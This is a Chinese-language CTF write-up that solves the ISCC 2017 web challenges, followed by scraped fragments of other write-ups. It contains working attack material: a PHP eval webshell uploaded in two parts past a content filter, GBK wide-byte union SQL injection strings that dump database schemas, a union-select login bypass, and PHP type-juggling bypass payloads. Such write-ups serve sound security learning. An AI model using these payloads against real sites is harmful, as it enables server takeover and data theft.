ISCC 2017 Web writeup

ISCC 2017 Web writeup
Web签到题
WelcomeToMySQL
自相矛盾
我们一起来日站
I have a jpg,i upload a txt.
where is your flag
Simple sqli

ISCC 2017 Web writeup

Web签到题

这种签到题不能往难了想,首先理所当然的这样传参

  1. hiddenflag=f1ag&flag=f1ag

这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑。。。

WelcomeToMySQL

首先上传一句话,格式为php5,菜刀连上

然后看base.php:

  1. <?php
  2. $servername="localhost";
  3. $username="iscc2017";
  4. $password="iscc2017";
  5. $db="flag";
  6. $tb="flag";
  7. ?>

根据信息访问这个服务器的数据库,拿到flag

自相矛盾

看源码:

  1. <!--
  2. $v1=0;$v2=0;$v3=0;
  3. $a=(array)json_decode(@$_GET[‘iscc‘]);
  4. if(is_array($a)){
  5. is_numeric(@$a["bar1"])?die("nope"):NULL;
  6. if(@$a["bar1"]){
  7. ($a["bar1"]>2016)?$v1=1:NULL;
  8. }
  9. if(is_array(@$a["bar2"])){
  10. if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
  11. $pos = array_search("nudt", $a["bar2"]);
  12. $pos===false?die("nope"):NULL;
  13. foreach($a["bar2"] as $key=>$val){
  14. $val==="nudt"?die("nope"):NULL;
  15. }
  16. $v2=1;
  17. }
  18. }
  19. [email protected]$_GET[‘cat‘];
  20. [email protected]$_GET[‘dog‘];
  21. if(@$c[1]){
  22. if(!strcmp($c[1],$d) && $c[1]!==$d){
  23. eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
  24. strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
  25. }
  26. }
  27. if($v1 && $v2 && $v3){
  28. echo $flag;
  29. }

就是反复的用一些PHP的函数漏洞,弱等于

第一个参数iscc为JSON格式的

bar1要求不是数字又要比2016大,这用到了PHP中字符串和数字型比较的时候先会用intval()函数做转换,所以bar1:2017a

bar2要求是数组,长度为5,并且第一位还是个数组,并且其中要有"nudt",这里用到字符串弱等于0,所以这五个元素中要有0存在

eregi可以使用%00截断绕过,所以dog=%00,cat[0]=34567isccctf2017

strcmp传参为数组的时候返回NULL,所以cat[1][]=1111

最后payload:

  1. iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=34567isccctf2017&cat[1][]=1111&dog=%00

我们一起来日站

首先扫目录,发现有robots.txt

找到admin.php,简单注入,拿到flag

I have a jpg,i upload a txt.

这题有两个关键:

1、破解这个KaIsA(凯撒)加密函数

2、怎么绕过文件内容检测传shell

对于第一个问题,可以通过

  1. $re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);

可以获取加密后的字符串,然后观察比对,发现这是个变种的凯撒加密,小写字母左移6位,大写字母右移6位,数字不动,这是加密代码:

  1. def kaisai(s):
  2. re=""
  3. for i in range(len(s)):
  4. if s[i]>=‘a‘ and s[i]<=‘z‘:
  5. t=ord(s[i])-6
  6. if t<97:
  7. re+=chr(t-97+123)
  8. continue
  9. if(t>122):
  10. re+=chr(t-122+96)
  11. continue
  12. re+=chr(t)
  13. if s[i]>=‘A‘ and s[i]<=‘Z‘:
  14. t=ord(s[i])+6
  15. if t<65:
  16. re+=chr(t-65+91)
  17. continue
  18. if t>90:
  19. re+=chr(t-90+64)
  20. continue
  21. re+=chr(t)
  22. if s[i]>=‘0‘ and s[i]<=‘9‘:
  23. re+=s[i]
  24. print(re)
  25. a=""
  26. kaisai(a)

第二步要绕过这个文件内容检测,可以通过多次上传的方式,依次将一句话传上去,但是这个数组只能有两位,所以想到php短标签,将一句话分为这两部分:

<? eval($_POST[‘cmd‘]);

上传之后利用fwrite将两个文件和为一个txt

  1. <?php
  2. $a[1]="522421975";
  3. $a[2]="563896667";
  4. echo base64_encode(serialize($a));
  5. ?>

a[1]和a[2]是上传之后的文件名,然后凯撒加密后提交,得到完整shell的txt格式文件,接下来将之rename为php:

  1. $a[0]="php";
  2. $a[1]="1824217370";
  3. echo base64_encode(serialize($a));
  4. ?>

加密后提交,访问这个页面,访问后可以直接得到flag(注意有302重定向)

where is your flag

先扫目录,没有发现,然后找到了flag.php,看了半天结果还是什么都没有。抓个包,看到了这个:

结合题目的意思,猜测可能是gbk宽字节注入,接下来就要找注入点了,这里脑洞了半天猜参数,flag,id等等,最后发现是id。

后面的注入就套路了,也没有什么过滤:

  1. id=%df‘ union select 1,group_concat(schema_name) from information_schema.schemata%23
  2. id=%df‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765625f726f626f7473%23
  3. %df‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23
  4. %df‘ union select 1,convert(thisisflag using gbk) from flag%23 # 注意页面编码和数据库编码不一致,需要绕过

Simple sqli

这题首先是猜后台逻辑,可能是这么写的。

  1. $name=$_POST[‘username‘];
  2. $pw=md5($_POST[‘password‘]);
  3. $sql="select password from users where name=".$name;
  4. $result=mysql_fetch_array(mysql_query($sql));
  5. if($result[‘password‘])
  6. {
  7. if(!strcasecmp($result[‘password‘],$pw))
  8. {
  9. echo $flag;
  10. }
  11. else{
  12. echo "password error";
  13. }
  14. else{
  15. echo "username error";
  16. }

这题南邮有原题http://4.chinalover.sinaapp.com/web6/index.php

最后username=admin‘ and 1=2 union select md5(1)#&password=1

时间: 2024-09-29 23:15:33

ISCC 2017 Web writeup的相关文章

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

ISG 2018 Web Writeup

文章目录 又一次感觉到了,作为一个CTFer,要想在比赛中有高的输出,只做Web是不够的 calc 首先看到题目后,在输入框中测试了一下,发现可以被执行 首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录 1 python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60 发现存在git源码泄露 直接上gi

NJCTF2017 Web Writeup

一个登陆和注册的功能,开始以为是注入,发现并不行.后来尝试了下弱口令 1 2 username:admin password:admin123 结果登录成功了..其实正解是注册时注册用户为admin后跟很多很多空格之后加个a就是注册时拼接到数据库时有长度限制一开始测试不成功是因为空格太少了,尴尬 Get Flag 看起来是一个搜索图片的框输入1.jpg后在返回页面查看源码,发现被base64加密过那么我直接读../../../../../../etc/passwd试试解base64发现确实可以读

[WUST-CTF]Web WriteUp

周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者昵称,在题面里可以看到是52HeRtz,但是发现题目输入框只能输入3个字符,并且按钮是灰色的 直接F12审查元素去掉maxlength以及disable两个属性,输入作者昵称即可 弹出作者的博客地址,跟进去 在作者博客首页可以看到一部分Flag: 根据提示“远古的博客”,找到一篇1970年的文章,文

问鼎杯预赛web writeup

1. php的一个精度问题,具体什么精度自己查. 2017.000000000001=2017 2016.999999999999=2017 直接拿谷歌浏览器访问那个链接就可以拿到flag 2. 访问admin.php,在admin页面里一个js里面发现信息. 然后如下访问就行了,那个key的值即使不按js里面的取值也行 3. 社工 社工题,社偏了两次.社了主题作者还有出题人.... 加了主题作者好友,他一脸懵逼,然后他跑去社出题人,我恍然大悟然后跑去社出题人... 出题人一脸懵逼.... 然后

2017 web前端面试知识点汇总

跨域 同源策略:浏览器上为安全性考虑实施的安全策略.url由协议.域名.端口号和路径组成,如果两个url的协议.域名和端口号相同,则是同源. ajax请求受到同源策略的限制 一.jsonp 利用<script>标签的src属性可以加载跨域的js脚本特点,动态创建script标签来载入跨域资源,jquery对该方法进行了封装,需要设置dataType为jsonp,只支持get请求 二.domain 三.CORS 服务端在响应头加上允许访问的domain和HTTP method 四.服务端代理 因

MOCTF web writeup

前几天发现一个不错的平台MOCTF但一直没时间刷.这几天陆续更新web题的wp web1:一道水题 进去一堆青蛙 查看源代码,看到flag web2:还是水题 发现密码框输入不了,遂F12审查元素,删除disable属性,以及将长度改为5,输入moctf.得到flag web3:访问限制 题目提示用NAIVE浏览器,于是想到burp改user-agent:NAIVE run得到flag web4:机器蛇 这道题....我...一进去玩了半天的贪吃蛇.... 后来随手审查了元素,发现robots.

1008.CTF 题目之 WEB Writeup 通关大全 – 2

Web题目系列2 登陆一下好吗?? 题目链接 http://shiyanbar.com/ctf/1942 题目描述 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈! flag格式:ctf{xxxx} 解题思路 一个万能密码问题,多试试就可以了. username: ''=' password: ''=' who are you? 题目链接 http://shiyanbar.com/ctf/1941 题目描述 我要把攻击我的人都记录db中去! 解题思路 看到题目就想到修改x-forwarde

1009.CTF 题目之 WEB Writeup 通关大全 – 3

Web题目系列3 让我进去 题目链接 http://shiyanbar.com/ctf/1848 题目描述 相信你一定能拿到想要的 Hint:你可能希望知道服务器端发生了什么.. 格式:CTF{} 解题思路 用burpsuite抓包后,发现cookie里有一个字段source=0,修改为1后获取源码. 源码内容 <html> <body> <pre> $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "